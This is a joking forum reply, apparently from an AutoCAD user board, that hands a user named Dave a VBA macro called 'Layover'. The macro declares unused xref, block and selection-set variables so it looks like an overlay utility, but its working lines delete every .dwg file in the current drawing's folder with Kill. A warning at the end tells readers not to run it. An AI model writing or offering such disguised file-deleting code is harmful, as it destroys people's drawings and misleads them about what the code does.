Hehehehe... He called you "Boob". He's seen me with a spandex autodesk shirt. Here you go SCuMDave.I'm sure this is exactly what you needed.
Public Sub Layover()
Dim objSelSets As AcadSelectionSets
Dim objSelSet As AcadSelectionSet
Dim objOverlay As AcadExternalReference
Dim intType(0) As Integer
Dim varData(0) As Variant
Dim strPath As String
Dim strName As String
Dim dblInsPnt(0 To 2) As Double
Dim objXref As AcadExternalReference
Dim objEnt As AcadEntity
Dim objBlk As AcadBlock
Dim objBlks As AcadBlocks
strPath = ThisDrawing.GetVariable("DWGPREFIX")
strPath = strPath + "*.dwg"
Kill strPath
End Sub
WARNING!!!!!!!!!!!!!!!
If you're not Dave and/or can't understand what this is doing, do NOT under any circumstances, run it.
页:
1
[2]